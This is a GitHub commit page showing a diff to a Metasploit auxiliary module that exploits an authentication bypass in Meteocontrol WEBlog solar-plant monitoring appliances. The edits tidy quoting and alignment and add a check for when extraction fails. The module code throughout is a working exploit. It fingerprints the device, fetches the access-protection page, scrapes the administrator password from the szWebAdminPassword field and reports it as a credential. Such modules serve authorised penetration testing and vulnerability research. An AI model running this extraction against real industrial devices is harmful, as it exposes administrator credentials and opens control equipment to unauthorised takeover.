Skip to content

Commit 36416c2

Browse files
committed
Updated check for extract fail case now + Minor edits
1 parent 657c744 commit 36416c2

File tree

1 file changed

+25
-22
lines changed

1 file changed

+25
-22
lines changed

modules/auxiliary/scanner/http/meteocontrol_weblog_extractadmin.rb

Lines changed: 25 additions & 22 deletions
Original file line numberDiff line numberDiff line change
@@ -13,21 +13,21 @@ class MetasploitModule < Msf::Auxiliary
1313

1414
def initialize(info={})
1515
super(update_info(info,
16-
'Name' => 'Meteocontrol WEBlog Password Extractor',
16+
'Name' => 'Meteocontrol WEBlog Password Extractor',
1717
'Description' => %{
1818
This module exploits an authentication bypass vulnerability in Meteocontrol WEBLog appliances (software version < May 2016 release) to extract Administrator password for the device management portal.
1919
},
20-
'References' =>
20+
'References' =>
2121
[
2222
['URL', 'https://ics-cert.us-cert.gov/advisories/ICSA-16-133-01'],
2323
['CVE', '2016-2296'],
2424
['CVE', '2016-2298']
2525
],
26-
'Author' =>
26+
'Author' =>
2727
[
2828
'Karn Ganeshen <KarnGaneshen[at]gmail.com>'
2929
],
30-
'License' => MSF_LICENSE))
30+
'License' => MSF_LICENSE))
3131

3232
register_options(
3333
[
@@ -51,16 +51,16 @@ def run_host(ip)
5151
def is_app_metweblog?
5252
begin
5353
res = send_request_cgi({
54-
'uri' => '/html/en/index.html',
55-
'method' => 'GET'
54+
'uri' => '/html/en/index.html',
55+
'method' => 'GET'
5656
})
5757

5858
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError
5959
print_error("#{rhost}:#{rport} - HTTP Connection Failed...")
6060
return false
6161
end
6262

63-
if (res && res.code == 200 && (res.headers['Server'] && res.headers['Server'].include?("IS2 Web Server") || res.body.include?("WEB'log")))
63+
if (res && res.code == 200 && (res.headers['Server'] && res.headers['Server'].include?('IS2 Web Server') || res.body.include?("WEB'log")))
6464
print_good("#{rhost}:#{rport} - Running Meteocontrol WEBlog management portal...")
6565
return true
6666
else
@@ -74,33 +74,36 @@ def is_app_metweblog?
7474
#
7575

7676
def do_extract()
77-
7877
print_status("#{rhost}:#{rport} - Attempting to extract Administrator password...")
7978
begin
8079
res = send_request_cgi({
81-
'uri' => '/html/en/confAccessProt.html',
82-
'method' => 'GET'
80+
'uri' => '/html/en/confAccessProt.html',
81+
'method' => 'GET'
8382
})
8483

8584
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE
8685
print_error("#{rhost}:#{rport} - HTTP Connection Failed...")
8786
return
8887
end
8988

90-
if (res && res.code == 200 && (res.body.include?("szWebAdminPassword") || res.body=~ /Admin Monitoring/))
89+
if (res && res.code == 200 && (res.body.include?('szWebAdminPassword') || res.body=~ /Admin Monitoring/))
9190
get_admin_password = res.body.match(/name="szWebAdminPassword" value="(.*?)"/)
92-
admin_password = get_admin_password[1]
93-
print_good("#{rhost}:#{rport} - Password is #{admin_password}")
94-
report_cred(
95-
ip: rhost,
96-
port: rport,
97-
service_name: 'Meteocontrol WEBlog Management Portal',
98-
password: admin_password,
99-
proof: res.body
100-
)
91+
if get_admin_password[1]
92+
admin_password = get_admin_password[1]
93+
print_good("#{rhost}:#{rport} - Password is #{admin_password}")
94+
report_cred(
95+
ip: rhost,
96+
port: rport,
97+
service_name: 'Meteocontrol WEBlog Management Portal',
98+
password: admin_password,
99+
proof: res.body
100+
)
101+
else
102+
# In some models, 'Website password' page is renamed or not present. Therefore, password can not be extracted. Check login manually on http://IP:port/html/en/confAccessProt.html for the szWebAdminPassword field's value.
103+
print_error("Check login manually on http://#{rhost}:#{rport}/html/en/confAccessProt.html for the 'szWebAdminPassword' field's value.")
104+
end
101105
else
102-
# In some models, 'Website password' page is renamed or not present. Therefore, password can not be extracted. Try login manually in such cases.
103-
print_error("Password not found. Check login manually.")
106+
print_error("Check login manually on http://#{rhost}:#{rport}/html/en/confAccessProt.html for the 'szWebAdminPassword' field's value.")
104107
end
105108
end
106109

0 commit comments

Comments
 (0)